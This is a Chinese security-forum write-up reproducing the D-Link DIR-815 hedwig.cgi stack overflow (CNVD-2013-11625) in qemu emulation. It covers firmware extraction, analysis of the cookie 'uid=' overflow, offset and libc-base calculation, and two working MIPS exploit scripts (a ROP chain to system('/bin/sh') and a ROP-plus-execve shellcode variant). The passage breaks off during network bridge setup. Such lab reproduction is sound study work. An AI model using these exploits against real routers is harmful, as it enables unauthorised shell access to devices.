首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
IoT安全
发新帖
2
2
[原创]DIR-815 栈溢出漏洞(CNVD-2013-11625)复现
发表于: 2025-11-8 15:39
15710
[原创]DIR-815 栈溢出漏洞(CNVD-2013-11625)复现
XiDP
2025-11-8 15:39
15710
## **复现环境及所需工具** ### **漏洞复现环境** `Ubuntu 24.04.2 LTS`  ### **基础工具配置** 基础的Pwn环境 + binwalk + sasquatch + qemu pwn环境配置推荐YX-hueimie师傅的博客 <a href="elink@5fcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3Z5J5z5o6b7^5z5o6j5J5x3o6u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5K6z5e0x3#2x3U0l9$3y4#2)9K6c8Y4y4H3L8g2)9K6c8o6p5H3x3o6q4Q4x3X3f1J5x3o6p5@1i4K6u0W2x3K6l9H3x3g2)9J5k6e0f1#2x3o6t1`.">★pwn 24.04环境搭建保姆级教程★_ubuntu24 pwn-CSDN博客</a> <a href="elink@623K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3Z5J5z5o6b7^5z5o6j5J5x3o6u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5K6y4o6V1K6x3e0M7H3z5g2)9K6c8Y4y4H3L8g2)9K6c8o6p5H3x3o6q4Q4x3X3f1J5x3o6p5@1i4K6u0W2x3K6l9H3x3g2)9J5k6e0f1#2x3o6t1`.">★pwn 22.04环境搭建保姆级教程★_pwn环境搭建-CSDN博客</a> 安装binwalk可以直接使用apt安装,也可以下载binwalk的源码来自己编译 ```c sudo apt install binwalk ``` `sasquatch` 是`binwalk`用于解压`非标准SquashFS文件系统`的关键依赖(入门不安装这个那么我们之后binwalk分解固件会发现里面 `squashfs-root` 文件夹是空的) 安装方法如下: ```c # 安装依赖库(关键步骤,否则编译会失败) sudo apt-get install build-essential zlib1g-dev liblzma-dev liblzo2-dev # 克隆仓库并编译 git clone https://github.com/devttys0/sasquatch.git cd sasquatch ./build.sh ``` 如果遇到下面问题,请按照下面文章中的方法解决 ```c unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation] 1835 | if(swap) | ^~ unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’ 1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block), | ^~~~~~~~~~~~~ ``` <a href="elink@473K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3y4e0l9^5z5o6x3^5y4e0g2Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5K6x3U0b7&6y4U0t1#2z5q4)9K6c8X3!0H3M7#2)9#2k6Y4u0W2M7i4g2W2M7%4c8Q4y4h3k6E0K9i4y4U0i4K6y4p5i4K6t1#2x3U0f1%4b7W2)9J5y4e0t1#2x3U0u0J5k6i4q4#2k6i4y4@1i4K6t1#2x3U0f1#2c8X3W2V1i4K6t1#2x3U0f1J5x3W2)9J5y4e0t1#2x3@1q4Q4x3U0f1J5y4e0t1J5k6r3u0S2y4r3y4S2x3K6k6S2k6h3t1J5y4e0m8V1z5r3f1H3j5U0M7#2y4o6p5^5j5X3j5K6z5e0k6V1y4h3k6Q4x3U0f1J5y4e0t1J5i4K6t1#2x3U0f1J5b7#2)9J5y4e0t1#2x3U0u0K6j5$3#2Q4x3U0f1J5y4e0t1J5i4K6t1#2x3U0f1K6b7g2)9J5y4e0t1#2x3U0t1J5x3o6p5@1x3o6M7I4x3#2)9J5k6e0p5K6x3o6p5H3x3U0x3K6y4q4)9J5k6i4m8U0i4K6t1#2x3U0f1#2c8X3q4D9L8q4)9J5k6g2)9J5y4e0t1#2x3U0u0Q4x3U0f1J5y4e0N6p5i4K6t1$3M7X3g2I4N6h3g2K6N6q4)9#2k6X3W2V1i4K6y4p5k6r3u0S2y4r3y4S2x3K6k6S2k6h3t1J5y4e0m8V1z5r3f1H3j5U0M7#2y4o6p5^5j5X3j5K6z5e0k6V1y4h3k6Q4x3U0k6T1K9i4A6Q4y4h3k6A6k6q4)9K6c8o6m8Q4x3U0k6#2N6r3#2Q4y4h3k6E0k6h3c8A6N6h3#2Q4x3@1c8V1K9i4y4@1M7X3W2T1N6i4c8W2i4K6u0W2M7r3y4Q4y4h3k6K6k6h3q4J5j5$3S2Q4y4h3k6J5k6i4y4#2L8s2c8Q4x3X3g2F1L8$3&6W2i4K6u0V1N6r3q4K6K9#2)9J5k6r3u0D9L8$3N6Q4x3X3b7J5i4K6N6q4j5h3I4D9i4K6N6q4k6X3W2J5M7%4c8Q4y4h3k6J5j5h3&6C8i4K6g2X3k6h3y4H3L8g2)9#2k6Y4j5I4i4K6N6q4M7X3q4F1K9#2)9#2k6Y4j5K6x3g2)9#2k6X3g2U0M7r3#2Q4x3X3b7J5i4K6u0V1x3e0x3J5y4o6V1$3x3U0f1^5i4K6u0V1L8Y4g2D9L8q4)9J5k6r3&6#2L8r3I4Q4x3X3f1I4y4o6u0Q4y4f1g2$3x3e0l9J5i4K6g2q4M7r3y4Q4y4h3k6K6k6h3q4J5j5$3S2Q4y4h3k6J5k6i4y4#2L8s2c8Q4y4h3k6T1j5i4y4W2y4q4)9J5y4Y4g2@1L8g2)9#2k6Y4c8W2M7X3#2Q4x3@1c8T1K9h3&6%4j5h3I4C8i4K6t1#2c8e0g2Q4x3U0g2m8c8g2)9J5y4e0R3&6i4K6t1#2c8e0S2Q4x3U0g2m8x3#2)9J5y4e0R3#2M7$3q4K6M7i4g2S2N6r3y4Z5i4K6t1$3M7%4m8E0i4K6y4p5x3e0l9I4z5q4)9J5k6e0t1J5x3U0k6Q4x3X3f1K6x3o6l9I4i4K6u0W2y4o6p5^5y4H3`.`.">binwalk缺少sasquatch报错_unsquashfs.c:1835:5: error: this ‘if’ clause does -CSDN博客</a> ```c git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch cd sasquatch wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch sudo ./build.sh ``` 上面问题解决可能还存在下面问题 ```c LZMA/lzma465/C/LzmaEnc.c: In function ‘LzmaEnc_CodeOneMemBlock’: LZMA/lzma465/C/LzmaEnc.c:2161:19: error: storing the address of local variable ‘outStream’ in ‘*(CLzmaEnc *)pp.rc.outStream’ [-Werror=dangling-pointer=] 2161 | p->rc.outStream = &outStream.funcTable; | ~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2145:20: note: ‘outStream’ declared here 2145 | CSeqOutStreamBuf outStream; | ^~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2139:45: note: ‘pp’ declared here 2139 | SRes LzmaEnc_CodeOneMemBlock(CLzmaEncHandle pp, Bool reInit, | ~~~~~~~~~~~~~~~^~ cc1: all warnings being treated as errors make: *** [<builtin>: LZMA/lzma465/C/LzmaEnc.o] Error 1 ``` 我们需要修改build.sh文件来防止这个错误 ```c #!/bin/bash # ...(前面部分不变) # Patch, build, and install the source cd squashfs4.3 patch -p0 < ../patches/patch0.txt cd squashfs-tools export CFLAGS="-Wno-error=dangling-pointer" # 关键修改 make && $SUDO make install ``` 安装完成后就可以使用 `binwalk -Me <文件地址>` 来对文件进行分解了,进入分解后的文件夹可以看到很多 `www` `bin` `usr` 等等文件夹,最重要的是还有一个 `squashfs-root`文件夹 分解过程中还可能出现软连接有问题,比如我们进入 `squashfs-root` 文件夹中我们使用 `ls -la` 指令  这里就发现了一个软连接缺失,指向的是 我们Ubuntu的 `/tmp` 目录(实际上应该指向路由器的 `/tmp` 目录,而不是本机的 `/tmp` 目录),为了安全考虑,`binwalk` 将这种软链接都置成了 `/dev/null` 这里我们需要恢复成正常的样子,如果放任不管可能导致后续的模拟失败 修改方法为 进入到 `/usr/lib/python3/dist-packages/binwalk/modules` 目录下(如果是apt下载的话) 修改其中的 `extractor.py` 文件修改为下图所示,当然先保留原本的文件最好,万一改错了还可以再改回来  具体修改方法参照下面两篇博客 <a href="elink@839K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2#2k6U0c8@1k6g2)9J5k6h3y4F1i4K6u0r3M7r3!0K6N6s2y4Q4x3V1j5K6k6X3b7J5y4e0c8V1j5W2)9J5k6h3S2@1L8h3I4Q4x3U0y4Q4x3U0g2q4y4g2)9J5y4f1q4q4i4K6t1#2z5o6W2Q4x3U0g2q4z5q4)9J5y4f1p5K6i4K6t1#2z5o6g2Q4x3X3c8T1K9h3&6%4j5h3I4C8">IOT环境搭建与固件分析 | 坠入星野的月</a> <mark class="encrypted">35bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9h3E0Z5x3U0k6Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8Y4m8G2M7%4c8K6i4K6u0r3k6o6q4X3x3o6R3I4j5e0W2Q4x3X3g2Z5N6r3#2D9i4K6y4r3K9r3W2Y4K9r3I4A6k6$3S2@1i4K6y4p5L8h3W2H3M7H3`.`.</mark> 修改好后解压就不是 `/dev/null` 如下图所示  还有一个坑,就是很多时候为了方便我们可能会创建Windows和Ubutnu的共享文件夹,然后将共享文件夹从 `/mnt/hgfs/` 目录下使用ln指令链接到Ubuntu桌面或者别的什么地方,这里需要注意,如果这么做了就不要在这个共享文件夹里面使用binwalk,因为这样会导致binwalk无法创建软连接,笔者在这里踩坑花费了很多时间 安装qemu虚拟机 ```c sudo apt-get install qemu sudo apt-get install qemu-user-static sudo apt-get install qemu-system ``` ## **漏洞基本介绍** 本次复现的CNVD漏洞报告地址:<a href="elink@dbbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8Y4k6V1i4K6u0W2L8%4u0Y4i4K6u0W2j5$3&6Q4x3V1k6X3L8r3q4%4i4K6u0r3M7$3S2G2N6#2)9J5c8V1y4z5g2V1c8Q4x3X3b7J5x3o6p5K6i4K6u0V1x3e0p5$3x3U0f1`.">国家信息安全漏洞共享平台</a> 根据官方报告可知`DIR-645`型号的`hedwig.cgi`中会存在缓冲区溢出的漏洞  `固件包(见附件):DIR815A1_FW103b01.bin` ## **分离固件** 将我们的固件包放入到我们配置好环境的Ubuntu虚拟机中  使用指令 `binwalk -Me DIR815A1_FW103b01.bin` 来分解它  分解之后当前文件夹下面会出现一个 `_DIR815A1_FW103b01.bin.extracted` 文件,也就是我们分解后的程序,根据官网的报告我们已经知道漏洞点在 `hedwig.cgi` 中所以我们就需要去找这个文件在哪,我们进入我们分解之后的 `_DIR815A1_FW103b01.bin.extracted/squashfs-root` 中,然后使用find指令来查找,得知它在 `_DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/web` 目录下  进入该目录后我们发现这个 `hedwig.cgi` 它其实是一个软连接,我们使用 `ls -la` 指令来查看就会发现它的本体其实是 `/htdocs/cgibin` 这个文件  下面我们进入该目录并使用checksec指令来查看该文件的保护机制  需要注意的是它的结构为mips而不是我们打pwn常见的amd所以我们需要给IDA安装对应的插件才能分析 插件以及安装方法可以参考下面文章:<a href="elink@bfbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4y4o6b7$3x3b7`.`.">ida mips插件安装+攻防世界ereere题解-先知社区</a> 笔者使用的为IDA9.0版本,不需要安装该插件,如果上述插件安装失败的话建议安装IDA9.0版本 ## **漏洞点分析** 进入 `main函数` 中找到 `hedwig.cgi`  进入`hedwigcgi_main函数`中,发现其中规定了`post`请求方式 然后我们继续进入到 `cgibin_parse_request函数` 中  发现里面利用 `getenv函数` 获取了了三个环境变量, 但是和我们的漏洞没啥关系,只不过利用漏洞的时候这里需要随便输入一些东西作为它们的参数  这个函数结束后我们回到`hedwigcgi_main函数` 我们发现`hedwigcgi_main函数`下面会调用 `sess_get_uid函数`, 我们进入其中查看  进入到其中也是可以直接看到它获取了我们的环境变量 `COOKIE`  这里获取到了`COOKIE`之后赋值给了`v3`,在后续`v3`又赋值给了`v5`,再通过指针的形式传递给`v7`,在通过对特定符号(比如 `=` `;` 等符号)的判断对 `COOKIE` 进行分离  再继续往下看 `sobj_add_char函数` 的功能就和它的函数名字一样,用于添加字符 而下面这一段程序的作用就是将 `=` 前面的内容给 `v2` 将 `=` 后面的内容给 `v5`  再往下看,这里判断 `v2` 的内容是不是 `uid` 判断之后将 `v4` 的内容放入 `string` 中,然后再拼接到 `a1` 里面  所以我们可以得到的结论就是 `sess_get_uid函数` 的作用就是将 `COOKIE` 中 `uid=` 后面的内容提取出来 再次回到我们的 `hedwigcgi_main函数` 我们可以看到下面的 `sprintf函数`,这个 `sprintf函数` 就是我们的一个漏洞点  通过阅读代码逻辑 `sprintf函数` 的第四个参数 `string` 其实就是 `v4` ,而这里的 `v4` 我们通过上面分析可以得知 `v4` 其实就是传入的 `cookie` 中的 `uid=` 后面的内容,这个部分的内容以及长度其实我们是可以控制的, 而我们的 `v27` 数组的大小为 `1024` 所以这里可能存在栈溢出  而继续往下阅读代码,在 `hedwigcgi_main函数` 的 133行同样还有一个 `sprintf函数`, 同样也是往 `v27` 这个数组中输入 输入的内容 `v20` 的内容也是 `v4`,而 `v4` 从第一个 `sprintf函数` 到这第二个 `sprintf函数` 没有发生改变,所以同样 `v4` 也是 `cookie` 中的 `uid=` 后面的内容,所以利用漏洞的时候我们只需要将 `cookie` 的 `uid=` 后面的内容当成 `payload` 来输入就行了  在利用漏洞之前我们回到漏洞代码之前,我们发现如果想要利用下面的漏洞,我们还需要考虑绕过下面这两个 `if` 1. 我们必须要有`/var/tmp/temp.xml` 2. 这个 `haystack` 需要为 `非0`  绕过 `1` 的方法: 在我们模拟环境的时候在系统内创建一个`/var/tmp`文件夹就行 绕过 `2` 的方法: 在 `cgibin_parse_request(sub_409A6C, 0, 0x20000);` 的 `sub_409A6C` 中有对 `haystack` 进行操作  而进入 `sub_409A6C` 的条件为使用`POST方式`传入内容  但是如果需要使用 `POST` 进行传参就需要进入到 `cgibin_parse_request函数` 如下图所示的部分 这个部分return进行了跳转,调试的时候我们会知道这里是 `sub_403b10函数`    那么我们进入`sub_403b10函数`, 接着跟进进入 `sub_402FFC函数`  在 `sub_402FFC函数` 函数中进入 `sub_402B40函数`  最终找到下面这段程序  通过调试我们可以知道这里的 `v9(v10, v16)` 其实就是调用了 `sub_409A6C函数`   下面我们回到 `hedwigcgi_main函数` 在第50行处这里有一个 `cgibin_parse_request函数` 其中调用了 `sub_409A6C函数`  进入到 `cgibin_parse_request` 之中  这里如果 `v9` 变成 `-1` 那么下面就没有办法执行 `return ((&off_42C014)[3 * v16 - 1])(a1, a2, v7, &v14[v17]);` 也就是没有办法进入到 `sub_403b10函数` 那么也就没有办法在 `sub_403b10函数` 进入 `sub_402FFC函数` 当中去,所以环境变量`REQUEST_URI`中也必须有内容才行 在后续的exp中我们将这里的环境变量`CONTENT_TYPE`设置为`application/x-www-form-urlencoded` 然后满足这些条件我们就可以利用到第二个 `sprintf函数` 了 如果是新手来复现熟悉一下过程的话只需要知道我们可以在exp中通过控制cookie的内容来打栈溢出就可以 ## MIPS栈溢出的相关知识和工具 我们先来捋一下思路,程序什么保护都没有开启,所以我们可以直接 `打ROP链来获得shell`,还有就是 `MIPS架构` 是没办法开启 `NX保护` 的我们可以构造 `shellcode` 然后返回 `shellcode` 的地址执行 当然在实际应用中,最常用的还是通过 `ROP + shellcode` 的方式来 `getshell` ### **构造mips的rop寻找gadget所需的工具** #### mipsrop 安装方法:<a href="elink@42fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8W2S2A6c8q4m8b7P5i4c8Z5L8$3&6Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5@1z5o6p5&6y4o6b7^5z5g2)9K6c8Y4y4H3L8g2)9K6c8o6p5H3x3o6q4Q4x3X3f1J5x3o6p5@1i4K6u0W2x3K6l9H3x3g2)9J5k6e0f1#2x3o6p5`.">IDA插件 MIPSROP的安装和使用方法-CSDN博客</a>  或者使用 #### ropper  `感觉mipsrop更好用` ### **MIPS基础知识** mips架构(32位下的mipsel)的特性 1. 叶子函数和非叶子函数 `叶子函数` 是指`没有调用任何别子函数的函数`,它的返回地址会存放在 `$ra寄存器` 中,在叶子函数结束的时候程序会通过 `$ra寄存器` 进行跳转返回,如下图所示  `非叶子函数` 是指`调用了其他子函数的函数`, 它的返回地址 `$ra` 会在程序开始的时候通过 `sw指令` 存放到栈上,如下图所示  这是因为它其中调用了别的函数会改变它的 `$ra寄存器` 的值所以需要依靠栈来保存地址 然后在函数结束的时候再通过 `lw指令` 取出并跳转返回  2. 流水线效应 最为常见的就是 `跳转指令` 比如 `jalr` 导致的 `分支延迟效应` 而 `分支跳转语句` 后面的那条语句叫做 `分支延迟槽` 就是说,当它跳转指令填充好跳转地址,但是还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了 也就是说mips架构在执行跳转指令的时候`会先执行跳转指令的后一条指令,然后再进行跳转` 3. 缓存不一致性 指的是 `指令缓存区--Instruction Cache` 和 `数据缓存区--Data Cache` 的同步需要一定的时间 比如,我们将一段shellcode写入到栈上,那么此时shellcode还属于数据缓存区,如果我们直接跳转过去执行就会出现一些问题,因此我们需要调用一下 `sleep函数` 先停一下,让 `数据缓存区` 能够变成 `指令缓冲区` 然后再进行跳转这样就不会出错了,虽然直接跳转可能也不会出错但是sleep一下更加稳妥 ## **使用qemu用户态模拟** ### **step1 测量偏移量** 进入 `squashfs-root` 文件夹中 执行下面这条指令 ```c cyclic 2000 > payload ``` 并且创建下面这个脚本并运行它 ```shell # start.sh #!/bin/bash # 定义输入数据和相关变量 INPUT="XiDP=Pwner" # 发送的数据内容 LEN=$(echo -n "$INPUT" | wc -c) # 计算内容长度 COOKIE="uid=`cat payload`" echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin #-0 参数用于强制设置程序的 argv[0] 值, 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能 ``` 开启 `另外一个终端`,创建下面这个脚本叫做 `mygdb.sh`, 然后执行指令 `gdb-multiarch -x mygdb.sh` ```shell # mygdb.sh set architecture mips set follow-fork-mode child set detach-on-fork off target remote 127.0.0.1:1234 ``` 如果我们没有搞错什么,那么我们将得到下面这幅画面  通过图中这个地址被修改的值我们可以计算出我们所需要的偏移量, 得到偏移量为1009  知道溢出量后我们还需要寻找libc的基地址 ### **step2 计算libc基地址** 这么我们是使用 `qemu用户态` 来模拟路由器程序,这时我们直接在 `pwndbg` 中使用 `vmmap指令` 是找不到 `libc_base` 的,大致会出现下图所示情况,我们在图中是看不到 `libc.so.0` 的初始地址的  所以我们需要在程序里面找到一个libc函数的真实地址,然后利用这个函数相对于libc基地址的偏移量来求出libc的基地址 我们在下面这两个地方打上断点,那么在跳转的时候我们就可以得知memset函数的真实地址了,而知道真实地址我们还需要memset函数相对于libc基地址的偏移量  (这里为什么选用两个memset函数? 这里因为第一次是跳转到延迟绑定的地址,第二次延迟绑定结束才是真实是memset函数地址) 下面使用gdb运行到此处查看memset的真实地址 第一次得到的是延迟绑定的地址,t9中存放   第二次得到的才是真实地址   由此可得,`memset函数` 的地址为 `0x2b333a20` 然后我们查看软连接,发现程序的libc文件本体其实是 `libuClibc-0.9.30.1.so` 文件  将该文件拖入IDA中进行分析,得知 `memset` 的偏移量为 `0x034A20`  下面就可以计算出 `libc_base = 0x2b333a20 - 0x034A20 = 0x2B2FF000` 然后还可以找一下system函数的偏移量为 `0x53200` ### **step3 编写并运行exp** 接着我们就可以开始编写exp了 ```python from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x2B2FF000 # 这里的libc_base每个人都是不一样的需要修改 payload = b'a'*(1009-36) payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1 payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 payload += b'a'*4 #s2 payload += p32(libc_base + 0x5A448) # s3 /bin/sh payload += b'a'*(4*2) #s4-s5 payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 payload += b'a'*(4*2) #s7-s8 payload += p32(libc_base + 0x13F8C) # ret_addr move $a0, $s3 payload = b"uid=" + payload post_content = "XiDP=Pwner" io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=10 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ -g 1234 ./htdocs/cgibin """, shell = True) io.send(post_content) io.interactive() ''' .text:00013F8C move $a0, $s3 .text:00013F90 move $t9, $s6 .text:00013F94 jalr $t9 .text:00013F98 move $a1, $s1 .text:000159F4 move $t9, $s0 .text:000159F8 jalr $t9 ; mempcpy .text:000159FC addiu $a1, (asc_599FC - 0x60000) # "/" .text:00032A98 addiu $s0, 1 .text:00032A9C li $s2, 1 .text:00032AA0 .text:00032AA0 loc_32AA0: # CODE XREF: sub_32850:loc_32A88↑j .text:00032AA0 move $t9, $s1 .text:00032AA4 jalr $t9 ''' ``` 上述所使用的exp为winmt师傅在其博客中所写,winmt师傅在博客中表示该exp无法打通qemu用户态,但是我本地打了一下发现如果直接打是无法打通的,但是如果加上一个pause,然后gdb-multiarch去连接,调试到最后却是可以打通的,如下图,有点怪,不知道啥原因  但是下面的shellcode版本是不论如何都可以打通的 ```python from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x2B2FF000 # 这里的libc_base每个人都是不一样的需要修改 payload = b'a'*0x3cd payload += b'a'*4 payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9) payload += b'a'*4 payload += p32(libc_base + 0x56BD0) # s3 sleep payload += b'a'*(4*5) payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1) payload += b'a'*0x18 payload += b'a'*(4*4) payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9) payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''') payload += b'a'*0x18 payload += shellcode payload = b"uid=" + payload post_content = "XiDP=Pwner" io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """, shell = True) io.send(post_content) io.interactive() ``` 运行之后效果如下图所示  ## 使用qemu系统态模拟 ### **step1 下载对应内核及镜像** 想要使用qemu系统态模拟相对就要复杂一点了,我们需要下载对应的 `内核` 以及 `镜像` 下载地址: <a href="elink@f61K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8R3`.`.">Index of /~aurel32/qemu/mipsel</a> 到上面这个网站下下 `debian_squeeze_mipsel_standard.qcow2`镜像以及 `vmlinux-3.2.0-4-4kc-malta` 内核 如下图所示  ### **step2 创建网桥** 开始模拟之前我们需要开启物理机的ip转发功能,以及创建网桥来连接到`qemu`虚拟机 首先安装网络配置工具 ```shell apt-get install bridge-utils uml-utilities ``` 然后修改 `interfaces` 文件 ```shell sudo vim /etc/network/interfaces ``` 一些新版本的Ubuntu里面可能没有 `interfaces` 这个问题 我们可以使用下面指令来安装 ```shell sudo apt install ifupdown ``` 修改 `interfaces` 文件内容如下(修改之前可以先备份一份, `sudo cp /etc/network/interfaces /etc/network/interfaces.brk`) 下面使用 `ip addr` 指令来查看我们系统使用的是什么接口 一般是 `eth0` 或 `ens33` eth0如下: ```c auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp up ifconfig eth0 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_maxwait 0 ``` ens33如下: ```c auto lo iface lo inet loopback auto ens33 iface ens33 inet dhcp up ifconfig ens33 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_maxwait 0 ``` 这里修改完之后可以使用指令 `sudo /etc/init.d/networking restart` 来重启一下网络配置 再备份一次 `sudo cp /etc/network/interfaces /etc/network/interfaces.brk2` 备份好之后我们可以写一个脚本用来在两个不同的版本之间切换 我写的脚本如下 ```bash # net_cg #!/bin/bash # 功能说明:切换网络配置文件并重启服务 # 用法:net_cg [0|1] # 参数:0 - 使用 interfaces.brk;1 - 使用 interfaces.brk2 case "$1" in 0) echo "正在切换至 interfaces.brk 配置..." sudo rm /etc/network/interfaces sudo cp /etc/network/interfaces.brk /etc/network/interfaces sudo /etc/init.d/networking restart echo "配置切换完成!" ;; 1) echo "正在切换至 interfaces.brk2 配置..." sudo rm /etc/network/interfaces sudo cp /etc/network/interfaces.brk2 /etc/network/interfaces sudo /etc/init.d/networking restart echo "配置切换完成!" ;; "") # 无参数时提示用法 echo "用法:$0 [0|1]" echo " 0 - 使用 interfaces.brk 配置" echo " 1 - 使用 interfaces.brk2 配置" exit 1 ;; *) # 非法参数报错 echo "错误:无效参数 '$1'" echo "支持的参数:0 或 1" exit 1 ;; esac ``` 在 `/etc/qemu-ifup` 文件中写入下面内容(如果没有则需要创建,然后使用 `sudo chmod a+x /etc/qemu-ifup`) 注意是`写入`,`不是`改成下面内容 ```c #!/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridge mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 2 ``` 还需要`开启物理机的转发功能`(写成脚本如下) ```c #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT ``` 这里做完之后可以使用指令 `ip addr` 来查看一下虚拟网卡是否已经准备就绪 然后在到`/etc`文件中创建一个 `/qemu/bridge.conf` 在这个文件中写入 `allow br0` 所有东西成功后进行保存,然后`重启我们的Ubuntu系统` ### **step3 配置qemu虚拟机网络设置** 我们在第一步已经下载好了我们所需要的 `内核` 及 `镜像` 下面我们进入存放它们的文件夹,并且创建下面这个脚本然后运行 ```shell # start.sh #!/bin/bash sudo qemu-system-mipsel \ -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap ``` 执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 `fail` 但是不要紧,不影响我们复现漏洞,太多 `fail` 可能就有点问题了需要问AI检查一下 `qemu` 启动的虚拟机初始密码为 `root/root` 进入之后第一步需要使用 `nano` 来修改 `/etc/network/interfaces` ```c nano /etc/network/interfaces ``` 修改其中的 `eth0` 为 `eth1` 也就是下面部分 ```c # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface allow-hotplug eth1 iface eth1 inet dhcp ```  修改之后执行 `ifup eth1` 启用eth1接口, 然后我们再使用 `ip addr` 指令,会有类似下面的输出,从这里获得qemu虚拟机的ip地址,同理在Ubuntu物理机上使用这个 `ip addr` 指令同样可以得到Ubuntu物理机的ip地址 ```c 2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff inet 